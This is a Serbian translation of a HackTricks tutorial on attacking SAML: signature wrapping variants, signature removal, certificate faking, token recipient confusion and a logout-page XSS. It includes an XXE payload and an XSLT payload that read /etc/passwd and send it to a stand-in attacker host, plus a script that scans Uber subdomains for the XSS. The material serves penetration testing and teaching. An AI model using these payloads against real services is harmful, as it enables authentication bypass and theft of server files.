SAML Attacks

Napadi na SAML

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

pageSAML Basics

Alat

SAMLExtractor: Alat koji može uzeti URL ili listu URL-ova i vratiti SAML konzumirajući URL.

XML ciklus

U XML-u, potpisani deo XML-a se čuva u memoriji, zatim se vrši neko enkodiranje/dekodiranje i proverava se potpis. Idealno, to enkodiranje/dekodiranje ne bi trebalo da menja podatke, ali na osnovu tog scenarija, podaci koji se proveravaju i originalni podaci ne moraju biti isti.

Na primer, proverite sledeći kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Pokretanje programa protiv REXML 3.2.4 ili ranije rezultiralo bi sledećim izlazom umesto toga:

First child in original doc: Y
First child after round-trip: Z

Ovako je REXML video originalni XML dokument iz programa iznad:

A ovako ga je video nakon jedne runde parsiranja i serijalizacije:

Za više informacija o ranjivosti i kako je iskoristiti:

Napadi na potpisivanje XML dokumenata

U napadima na potpisivanje XML dokumenata (XSW), napadači iskorišćavaju ranjivost koja se javlja kada se XML dokumenti obrađuju kroz dve različite faze: provera potpisa i poziv funkcije. Ovi napadi uključuju izmenu strukture XML dokumenata. Konkretno, napadač ubacuje lažirane elemente koji ne ugrožavaju validnost XML potpisa. Ova manipulacija ima za cilj stvaranje neslaganja između elemenata analiziranih od strane aplikacione logike i onih proverenih od strane modula za proveru potpisa. Kao rezultat, dok XML potpis ostaje tehnički validan i prolazi verifikaciju, aplikaciona logika obrađuje lažne elemente. Stoga, napadač efikasno zaobilazi zaštitu integriteta i autentikaciju porekla XML potpisa, omogućavajući ubacivanje proizvoljnog sadržaja bez otkrivanja.

Napadi su zasnovani na ovom blog postu i ovom radu. Stoga pogledajte ih za detaljnije informacije.

XSW #1

  • Strategija: Dodaje se novi koreni element koji sadrži potpis.

  • Posledica: Proveravač može biti zbunjen između legitimnog "Odgovor -> Tvrdnja -> Subjekt" i napadačevog "zli novi Odgovor -> Tvrdnja -> Subjekt", što dovodi do problema sa integritetom podataka.

XSW #2

  • Razlika u odnosu na XSW #1: Koristi odvojeni potpis umesto obavijajućeg potpisa.

  • Posledica: "Zla" struktura, slično kao kod XSW #1, ima za cilj da prevari poslovnu logiku nakon provere integriteta.

XSW #3

  • Strategija: Zla Tvrdnja je kreirana na istom hijerarhijskom nivou kao originalna tvrdnja.

  • Posledica: Cilj je zbuniti poslovnu logiku da koristi zlonamerni podatak.

XSW #4

  • Razlika u odnosu na XSW #3: Originalna Tvrdnja postaje dete duplicirane (zle) Tvrdnje.

  • Posledica: Slično kao kod XSW #3, ali agresivnije menja strukturu XML dokumenata.

XSW #5

  • Jedinstveni aspekt: Ni Potpis ni originalna Tvrdnja ne prate standardne konfiguracije (obavijajući/enveloping/odvojeni).

  • Posledica: Kopirana Tvrdnja obavija Potpis, menjajući očekivanu strukturu dokumenta.

XSW #6

  • Strategija: Slično ubacivanje lokacije kao kod XSW #4 i #5, ali sa preokretom.

  • Posledica: Kopirana Tvrdnja obavija Potpis, koji zatim obavija originalnu Tvrdnju, stvarajući ugnježđenu zavaravajuću strukturu.

XSW #7

  • Strategija: Element Proširenja je ubačen sa kopiranom Tvrdnjom kao dete.

  • Posledica: Ovo iskorišćava manje restriktivnu šemu Elementa Proširenja kako bi zaobišao protivmere validacije šeme, posebno u bibliotekama poput OpenSAML.

XSW #8

  • Razlika u odnosu na XSW #7: Koristi drugi manje restriktivan XML element za varijantu napada.

  • Posledica: Originalna Tvrdnja postaje dete manje restriktivnog elementa, menjajući strukturu korištenu u XSW #7.

Alat

Možete koristiti Burp ekstenziju SAML Raider da parsirate zahtev, primenite bilo koji XSW napad koji odaberete i pokrenete ga.

XXE

Ako ne znate kakvi su napadi XXE, molimo pročitajte sledeću stranicu:

pageXXE - XEE - XML External Entity

SAML odgovori su deflacioni i base64 kodirani XML dokumenti i mogu biti podložni napadima XML spoljnih entiteta (XXE). Manipulacijom XML strukture SAML odgovora, napadači mogu pokušati da iskoriste XXE ranjivosti. Evo kako takav napad može biti vizualizovan:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Alati

Takođe možete koristiti Burp ekstenziju SAML Raider da generiše POC iz SAML zahteva kako biste testirali moguće XXE ranjivosti i SAML ranjivosti.

Pogledajte takođe ovaj video: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT putem SAML-a

Za više informacija o XSLT idi na:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Ekstenzibilni jezik transformacije stilova (XSLT) može se koristiti za transformisanje XML dokumenata u različite formate poput HTML-a, JSON-a ili PDF-a. Važno je napomenuti da se XSLT transformacije vrše pre provere digitalnog potpisa. Ovo znači da napad može biti uspešan čak i bez validnog potpisa; dovoljan je samopotpisani ili nevažeći potpis da se nastavi.

Ovde možete pronaći POC da proverite ovu vrstu ranjivosti, na hacktricks stranici pomenutoj na početku ove sekcije možete pronaći zahteve.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Alat

Takođe možete koristiti Burp ekstenziju SAML Raider za generisanje POC-a iz SAML zahteva kako biste testirali moguće XSLT ranjivosti.

Pogledajte i ovaj video: https://www.youtube.com/watch?v=WHn-6xHL7mI

Isključenje XML Potpisa

Isključenje XML Potpisa posmatra ponašanje SAML implementacija kada Element potpisa nije prisutan. Ako ovaj element nedostaje, validacija potpisa možda se neće desiti, čime postaje ranjiv. Moguće je testirati ovo izmenom sadržaja koji se obično proverava potpisom.

Alat

Takođe možete koristiti Burp ekstenziju SAML Raider. Presretnite SAML odgovor i kliknite Remove Signatures. Time se uklanjaju svi Elementi potpisa.

Sa uklonjenim potpisima, dozvolite zahtevu da nastavi ka cilju. Ako Potpis nije potreban od strane Servisa

Falsifikovanje Sertifikata

Falsifikovanje sertifikata je tehnika testiranja da li Servis Provajder (SP) pravilno proverava da li je SAML Poruka potpisana od strane pouzdanog Identity Provajdera (IdP). Uključuje korišćenje *samopotpisanog sertifikata za potpisivanje SAML Odgovora ili Tvrdnje, što pomaže u proceni procesa validacije poverenja između SP-a i IdP-a.

Kako sprovesti Falsifikovanje Sertifikata

Sledeći koraci opisuju proces korišćenja SAML Raider Burp ekstenzije:

  1. Presretnite SAML Odgovor.

  2. Ako odgovor sadrži potpis, pošaljite sertifikat SAML Raider Certs koristeći dugme Send Certificate to SAML Raider Certs.

  3. U kartici SAML Raider Certificates, izaberite uvezeni sertifikat i kliknite Save and Self-Sign kako biste kreirali samopotpisani klon originalnog sertifikata.

  4. Vratite se na presretnuti zahtev u Burp-ovom Proxy-u. Izaberite novi samopotpisani sertifikat iz padajuće liste XML Potpisa.

  5. Uklonite sve postojeće potpise pomoću dugmeta Remove Signatures.

  6. Potpišite poruku ili tvrdnju novim sertifikatom koristeći (Re-)Sign Message ili (Re-)Sign Assertion dugme, po potrebi.

  7. Prosledite potpisanu poruku. Uspešna autentikacija ukazuje da SP prihvata poruke potpisane vašim samopotpisanim sertifikatom, otkrivajući potencijalne ranjivosti u procesu validacije SAML poruka.

Konfuzija Primaoca Tokena / Konfuzija Mete Servisa Provajdera

Konfuzija Primaoca Tokena i Konfuzija Mete Servisa Provajdera uključuju proveru da li Servis Provajder pravilno validira namenjenog primaoca odgovora. U osnovi, Servis Provajder treba da odbije autentikacioni odgovor ako je bio namenjen drugom provajderu. Ključni element ovde je polje Primalac, koje se nalazi unutar elementa SubjectConfirmationData u SAML Odgovoru. Ovo polje specificira URL koji ukazuje gde Tvrdnja mora biti poslata. Ako stvarni primalac ne odgovara namenjenom Servisu Provajderu, Tvrdnja bi trebalo da bude proglašena nevažećom.

Kako funkcioniše

Da bi SAML Konfuzija Primaoca Tokena (SAML-TRC) napad bio izvodljiv, moraju biti ispunjeni određeni uslovi. Prvo, mora postojati validan nalog na Servisu Provajderu (označen kao SP-Legit). Drugo, ciljani Servis Provajder (SP-Target) mora prihvatiti tokene od istog Identity Provajdera koji služi SP-Legit.

Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem deljenog Identity Provajdera. SAML Odgovor od Identity Provajdera ka SP-Legit je presretnut. Ovaj presretnuti SAML Odgovor, prvobitno namenjen SP-Legit, zatim je preusmeren ka SP-Target. Uspeh u ovom napadu se meri time što SP-Target prihvata Tvrdnju, omogućavajući pristup resursima pod istim imenom naloga koje je korišćeno za SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS u funkcionalnosti odjave

Originalno istraživanje može se pristupiti preko ovog linka.

Tokom procesa grubog pretraživanja direktorijuma, otkrivena je stranica za odjavljivanje na:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Prilikom pristupa ovom linku, došlo je do preusmeravanja na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Ovo je otkrilo da parametar base prihvata URL. Razmatrajući to, pojavila se ideja da se URL zameni sa javascript:alert(123); u pokušaju da se pokrene XSS (Cross-Site Scripting) napad.

Masovna eksploatacija

Iz ovog istraživanja:

Alatka SAMLExtractor korišćena je za analizu poddomena uberinternal.com za domene koje koriste istu biblioteku. Nakon toga, razvijen je skript koji cilja stranicu oidauth/prompt. Ovaj skript testira XSS (Cross-Site Scripting) unošenjem podataka i proverom da li se ti podaci odražavaju u izlazu. U slučajevima gde se ulaz zaista odražava, skript označava stranicu kao ranjivu.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated